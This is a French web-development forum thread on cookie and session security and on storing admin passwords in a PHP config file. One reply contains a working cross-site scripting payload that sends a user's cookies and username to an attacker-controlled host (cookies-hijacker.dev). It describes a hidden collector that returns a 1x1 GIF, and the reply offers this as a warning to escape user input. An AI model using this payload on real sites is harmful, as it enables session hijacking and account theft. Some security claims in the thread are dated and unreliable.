Cookie & securité

[Argorate]

Bonjour,

J’aimerais avoir votre avis sur l'utilisation et création des cookies, notamment par rapport aux potentiels failles de sécurités.

Qu'es ce que vous conseillez, déconseillez et pourquoi?

Merci.

[Allwise]

Cookies :$

Tu trouveras un tas de ressources sur Google qui parle des cookies et de la sécurité.
Perso je les utilise rarement, le plus souvent à des fins ergonomiques, genre "rester connecté", ou pour présenter une page un peu custom en fonction de ce celles qu'a fréquenté l'internaute juste avant... Les cookies c'est bien pour gérer les internautes qui ne sont pas connectés au site. Pour les autres il y a la base de données.
Il y a une pratique bien connue des publicitaires et dont j'ai oublié le nom qui consiste à poser un tas de cookies trackés de sites avec lesquels ils travaillent chez les internautes de sorte que lorsque ces derniers achètent quelque chose sur ces sites, ils soient considérés comme provenant d'un affilié... Mais je m'égare un peu !

Question sécurité, à part l'usurpation de cookie, je me suis jamais vraiment posé la question. Dans mes utilisations ils peuvent bien être usurpés ça me dérange pas. Puis le jour où je me la poserai, je demanderai des infos à Big Brother :ange:

[Joojo]

L'utilisateur peut modifier ses cookie comme ils sont stockés sur son pc, il faut donc les sécuriser si tu les utilises comme variable dans une requête par exemple. Tu as un cookie 'pseudo' et tu veux toutes les informations dans ta table de celui-ci. Si tu ne mets aucune protection, l'utilisateur peut facilement faire une injection SQL.
(en espérant ne pas dire de bêtises)

Sinon comme Allwise je les utilise pour que le membre reste connecté et j'utilise la variable $SESSION pour transporter l'id_membre qui est utilisé dans mes requête pour tout.

[Sephi-Chan]

Il n'y a pas de risques en soi à utiliser les cookies en soi.
Il faut juste avoir conscience que ça vient de l'utilisateur, et qu'à ce titre, il ne faut pas leur faire confiance.

Généralement, ils sont d'ordre utilitaire, donc si l'utilisateur s'amuse à les modifier, il trompera le site "pour lui". Si le cookie servait à lui dire à quand remontait sa dernière visite et qu'il met un chiffre dedans, ben ça lui dira que sa dernière visite était le -14. Et alors ?

Maintenant, voyons les risques. Pour ça, je prends l'exemple d'un système d'authentification que j'utilise au quotidien.

Dans Authlogic (un plugin qui aide à gérer toutes les facettes de l'authentification, la persistance se fait grâce à une colonne persistance_token dans la table utilisateurs. Chaque utilisateur dispose de son propre token et c'est ce dernier qui est stocké dans le cookie (plutôt que l'ID de l'utilisateur, qui est prévisible et donc plus sensible). Ainsi, sur le site on a un cookie nommé user_credentials qui sert à identifier l'utilisateur au cours de ses visites.

Si on regarde un peu la source d'Authlogic, on peut voir comment est généré ce token : c'est un hash SHA-512 (128 caractères).

Le risque, avec les cookies d'identification persistente, c'est que je te donne le contenu de mon cookie : tu pourras modifier le tiens pour y mettre le miens et usurper mon identité.
Bien sûr, on fait rarement ça. Par contre, on peut facilement récupérer les cookies des gens pour peu que le site ne soit pas sécurité et permette aux utilisateurs de saisir un script dans la page, car il a juste à faire quelque chose comme :

<script type="text/javascript">

/**

 * On part du principe que le site utilise jQuery. Tant mieux, ça nous facilite la tâche.

 * Mais au pire on écrit du Javascript brut ou on utilise une librairie employée sur le site.

 * Je fais ça grâce à une image (dont l'URL va générer une requête HTTP) ; c'est plus discret qu'en Ajax ;

 */

$(document).ready(function(){

  var hijacked_user     = encodeURIComponent($('#logged-user span.username:first').text());

  var cookies_as_string = encodeURIComponent(document.cookie);

  var hostname          = encodeURIComponent(location.hostname);

  var image_url         = 'http://cookies-hijacker.dev/collect_cookies.png'

                        + '?user='    + hijacked_user

                        + '&cookies=' + cookies_as_string

                        + '&website=' + hostname;



  $('body:first').append($('<img src="' + image_url + '" />'));

});

</script>

Et là j'ai gagné. Mon site cookies-hijacker.dev reçoit une requête GET contenant :

• Le nom de l'utilisateur hacké : on utilise la partie du HTML généralement présente qui dit que vous êtes connecté en tant que untel. C'est du cas par cas selon le site : parfois on peut le récupérer facilement (car le créateur a eu l'intelligence de mettre le nom entre des balises), parfois il faudra utiliser une expression rationnelle, parfois il n'y sera pas (sûrement parce que le site est mal fichu) ;
  
• Tous les cookies pour ce site. Celui qui gère l'authentification persistante en fait partie ! ;
  
• L'adresse du site, note que puisqu'on fait du cas par cas, on peut l'écrire en dur ;
  

Côté serveur pirate, collect_cookies.png est en fait un script (PHP, Ruby, etc.) qui stock les données reçues et renvoie un mime type image/png et un petit GIF transparent de 1*1 pour que personne ne se rende compte de rien. Ainsi, le pirate peut constituer sa base en paix, faire chier les gens, casser le jeu (en volant la session de l'administrateur), vendre la base (!?), etc. ;

Note que ce genre de vol peut être poussé encore plus loin : si je peux injecter un script arbitraire sur une page depuis laquelle on se connecte, je peux détourner de manière simple l'authentification puisqu'il suffit d'envoyer les identifiants de connexion au site pirate par le même procédé.

Attention, il ne faut pas prendre ça à la légère. Une telle faille arrive très vite.
Il suffit d'un seul petit champ non-échappé qui affiche quelque chose écrit par un utilisateur. Tout doit passer dans un htmlentities (ou équivalent selon les langages).

Moralité, la grosse faille des cookies, c'est le créateur du site.


Sephi-Chan

[Anthor]

N'oubliez pas que vous utilisez tous les COOKIES pour garder la session active ^^

[Argorate]

N'oubliez pas que vous utilisez tous les COOKIES pour garder la session active ^^

C'est justement la partie qui m'interesse, es ce que quelqu'un peut m'expliquer exactement comment le chiffre attribué au session est crypté? n'y a t-il pas dangé de pirater un compte en faisant du brute force?

[Allwise]

C'est du MD5 généré de façon aléatoire, ça ne dure que la durée de la session, donc le brut force pour chopper un sessid valide me semble inconcevable. T'as cet id de session dans ton cookie et sur le serveur un fichier porte son nom, c'est ce qui fait le lien entre toi internaute et le serveur.
Tous les sites fonctionnent comme ça, le système est encore en place aujourd'hui, c'est un système fiable.

[Anthor]

A part en récupérant le numéro d'un cookie précis, on ne peux pas l'usurper.
D'autant que théoriquement, vous devez faire un regenerate_id lors des changements de contexte, et utiliser un path privé et non commun à tout le serveur.

[Argorate]

ok merci, me voila rassuré

Sinon tant qu'on y est avc les failles de securité, je voulais savoir:

En quoi es-ce plus dangeureux de faire un fichier par exemple "config.php" qui contient en dur le login et le pass admin (dans des variables) par rapport a un .httpacces pour proteger certaines partie d'un site?

A priori personne peu lire le contenu du fichier php? a moins qu'il y est une methode qui m'est inconnu (dans ce cas je veux bien en savoir plus )

[Sephi-Chan]

Je ne pense pas que ce soit plus dangereux de faire ce que tu indiques : un tel fichier PHP est toujours placé en dehors du DocumentRoot (ce répertoire souvent nommé www/, public/ ou public_html/ qu'on trouve à la racine de notre FTP), donc il n'est pas accessible par le Web : même si le serveur Web arrêtait d'interpréter les scripts, sont contenu ne serait pas accessible.


Sephi-Chan